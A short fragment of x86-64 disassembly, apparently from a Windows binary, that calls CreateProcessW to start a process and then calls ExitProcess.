mov rdx, rbx
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]